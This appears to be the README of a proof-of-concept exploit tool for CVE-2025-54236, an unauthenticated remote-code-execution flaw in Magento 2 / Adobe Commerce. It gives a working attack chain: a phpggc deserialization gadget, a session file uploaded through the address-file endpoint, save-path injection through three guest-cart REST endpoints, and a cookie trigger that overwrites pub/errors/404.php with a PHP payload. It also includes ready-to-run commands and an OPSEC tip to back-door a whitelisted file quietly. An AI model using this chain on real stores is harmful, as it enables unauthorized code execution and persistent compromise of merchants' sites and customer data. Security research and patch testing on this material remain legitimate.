
PoC Magento Session Reaper - CVE-2025-54236
Unified PoC for CVE-2025-54236 ("SessionReaper"), a critical unauthenticated RCE in Magento 2 / Adobe Commerce via nested deserialization in the REST API.
ServiceInputProcessor; the
exploit primitive is insecure deserialization (CWE-502)For authorized security testing only. Use exclusively against systems you own or have explicit written permission to test.
The tool chains three stages that are common to every vector, plus a trigger:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> builds a
serialized object that writes payload.php to <remote_path> when deserialized.POST /customer/address_file/upload stores the serialized
blob as . Magento disperses uploaded address files by the first
characters of the filename, so it lands at
(hence the in ).sess_<SESSID>media/customer_address/s/e/sess_<SESSID>s/e/--save-pathSession\Config and, via
setSavePath() → setOption() → ini_set('session.save_path', ...) (a process-global
side effect), points PHP's session handler at the uploaded blob.Cookie: PHPSESSID=<SESSID> forces session_start()
to read and unserialize() the poisoned file, firing the gadget and writing the payload.All three vectors reach the same sink
(context → urlBuilder → session → sessionConfig → savePath). They differ only in the
endpoint, HTTP verb and Magento module involved — useful when a WAF or a disabled module
blocks one endpoint but not another.
| Method | Endpoint | Verb | Entry point into the chain |
|---|---|---|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
No real cart is required for any vector. ServiceInputProcessor deserializes the
method parameters during input resolution — before the service invokes any cart lookup —
so a dummy cartId of abc reaches the sink on all three. The subsequent
"cart not found" error (404/500) is expected and confirms the deserialization side effect
already fired.
A
--skuflag is available if you want the tool to create a real guest cart and add a product before triggering (verified via GraphQL). This is optional and not needed for exploitation — it exists only for environments where you prefer a fully realistic checkout flow. Omit it and the tool uses the dummyabccart.
var/session/). Redis- and database-backed sessions are
not affected by this specific RCE chain. This is not remotely enumerable, so it must be
attempted blind./customer/address_file/upload reachable without authentication.requestsphpggc — auto-detected in PATH, common install
locations, or pulled as the ambionics/phpggc Docker image as a fallbackpayload.php in the same directory as the script (must start with <?php)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (original vector) — no cart, no credentials
python3 session_reaper.py --host https://target.com --method order
# checkmo — payments endpoint, Spanish store scope for the REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — shipping endpoint
python3 session_reaper.py --host https://target.com --method address --api-store all
# optional: exercise a real cart flow with a known SKU (not required)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
| Flag | Default | Description |
|---|---|---|
--host | (required) | Target base URL |
--method | (required) | address | checkmo | order |
--store | default | Store code for the trigger request (and cart, if --sku is used) |
--api-store | default | Store code in the deserialization endpoint URL (all | es | default | custom) |
--sku | (none) | Optional. If set, creates a real guest cart with this SKU. Not required. |
--payload-in | payload.php | PHP payload to write on the target |
--payload-out | /var/www/html/pub/errors/404.php | Remote write path (must be a web-executable location — see note below) |
--save-path | media/customer_address/s/e/ | savePath injected into the gadget chain |
--phpggc | (auto) | Explicit path to the phpggc binary |
--proxy | http://127.0.0.1:8081 | HTTP proxy (e.g. Burp) |
--no-proxy | off | Disable the proxy |
--username / --password | (none) | Optional customer credentials for a Bearer token |
The tool uses two independent store codes:
--api-store — the scope in the deserialization request URL
(/rest/<api-store>/V1/guest-carts/...), where ServiceInputProcessor runs.--store — the scope for the trigger request (GET /<store>/) and, if --sku
is used, for the cart requests.Store view codes are admin-defined; do not assume es/fr. Enumerate the active store
views first — a request against a non-existent scope simply fails.
pub/errors/404.phpMagento's default Nginx config only passes seven PHP files to fastcgi_backend:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
Any other .php (including anything dropped into pub/media/) is denied and will never
execute. So the payload must overwrite one of these seven whitelisted files rather than
drop a new one. pub/errors/404.php is the default because Magento renders it internally on
any missing page, so it fires often on a live store.
OPSEC: overwriting
404.phpoutright is loud (it runs on every 404). In a real engagement, back-door a whitelisted file subtly instead of clobbering it.
--username/--password are only needed if you
want a Bearer token for a specific setup./tmp/sess_<SESSID> file is removed on exit.Provided for authorized security research and testing only. The author assumes no liability for misuse. Do not run against systems without explicit permission.